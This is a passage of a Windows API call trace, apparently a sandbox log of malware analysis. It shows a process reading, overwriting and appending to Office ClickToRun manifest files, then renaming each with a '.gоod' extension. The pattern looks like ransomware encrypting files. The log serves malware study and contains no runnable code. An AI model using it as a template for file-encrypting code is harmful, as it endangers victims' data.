nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x35fa0c0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0095.155] CloseHandle (hObject=0x7c0) returned 1 [0095.155] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.155] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.156] GetFileType (hFile=0x7c0) returned 0x1 [0095.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.156] GetFileType (hFile=0x7c0) returned 0x1 [0095.156] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x17984 [0095.156] WriteFile (in: hFile=0x7c0, lpBuffer=0x35fb3e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x35fb3e0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0095.157] CloseHandle (hObject=0x7c0) returned 1 [0095.157] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.157] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.157] GetFileType (hFile=0x7c0) returned 0x1 [0095.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.157] GetFileType (hFile=0x7c0) returned 0x1 [0095.157] ReadFile (in: hFile=0x7c0, lpBuffer=0x35fd888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x35fd888*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0095.685] CloseHandle (hObject=0x7c0) returned 1 [0095.685] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.686] GetFileType (hFile=0x7c0) returned 0x1 [0095.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.686] GetFileType (hFile=0x7c0) returned 0x1 [0095.686] WriteFile (in: hFile=0x7c0, lpBuffer=0x34a0c50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x34a0c50*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0095.686] CloseHandle (hObject=0x7c0) returned 1 [0095.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x77 [0095.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0095.686] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x353eedf1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17994)) returned 1 [0095.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0095.686] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.gоod")) returned 1 [0095.687] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0095.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0095.687] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x36c1d28 | out: lpFileInformation=0x36c1d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc)) returned 1 [0095.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0095.688] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0095.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.688] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.688] GetFileType (hFile=0x7c0) returned 0x1 [0095.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.689] GetFileType (hFile=0x7c0) returned 0x1 [0095.689] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0095.689] ReadFile (in: hFile=0x7c0, lpBuffer=0x36c22f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x36c22f0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0095.690] CloseHandle (hObject=0x7c0) returned 1 [0095.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0095.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.690] GetFileType (hFile=0x7c0) returned 0x1 [0095.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.690] GetFileType (hFile=0x7c0) returned 0x1 [0095.690] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0xafddc [0095.690] WriteFile (in: hFile=0x7c0, lpBuffer=0x36c3660*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x36c3660*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0095.692] CloseHandle (hObject=0x7c0) returned 1 [0095.692] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0095.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.692] GetFileType (hFile=0x7c0) returned 0x1 [0095.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.692] GetFileType (hFile=0x7c0) returned 0x1 [0095.692] ReadFile (in: hFile=0x7c0, lpBuffer=0x36c59f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x36c59f8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0096.857] CloseHandle (hObject=0x7c0) returned 1 [0096.857] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0096.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0096.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0096.858] GetFileType (hFile=0x7c0) returned 0x1 [0096.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0096.858] GetFileType (hFile=0x7c0) returned 0x1 [0096.858] WriteFile (in: hFile=0x7c0, lpBuffer=0x34d7bd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d7bd8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0096.859] CloseHandle (hObject=0x7c0) returned 1 [0096.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0096.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x8a [0096.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0096.859] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x35f1bc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xafdec)) returned 1 [0096.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0096.859] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.gоod")) returned 1 [0096.861] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0096.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0096.861] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x37c27f0 | out: lpFileInformation=0x37c27f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4)) returned 1 [0096.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0096.861] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0096.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0096.861] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0096.861] GetFileType (hFile=0x7c0) returned 0x1 [0096.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0096.861] GetFileType (hFile=0x7c0) returned 0x1 [0096.862] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0096.862] ReadFile (in: hFile=0x7c0, lpBuffer=0x37c2db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x37c2db8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0097.206] CloseHandle (hObject=0x7c0) returned 1 [0097.206] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0097.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.206] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.206] GetFileType (hFile=0x7c0) returned 0x1 [0097.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.206] GetFileType (hFile=0x7c0) returned 0x1 [0097.206] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x195a4 [0097.206] WriteFile (in: hFile=0x7c0, lpBuffer=0x3a209c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x3a209c8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0097.207] CloseHandle (hObject=0x7c0) returned 1 [0097.207] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0097.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.207] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.208] GetFileType (hFile=0x7c0) returned 0x1 [0097.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.208] GetFileType (hFile=0x7c0) returned 0x1 [0097.208] ReadFile (in: hFile=0x7c0, lpBuffer=0x3a22d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3a22d60*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0097.361] CloseHandle (hObject=0x7c0) returned 1 [0097.362] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x85 [0097.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0097.362] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0097.362] GetFileType (hFile=0x7c0) returned 0x1 [0097.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0097.362] GetFileType (hFile=0x7c0) returned 0x1 [0097.362] WriteFile (in: 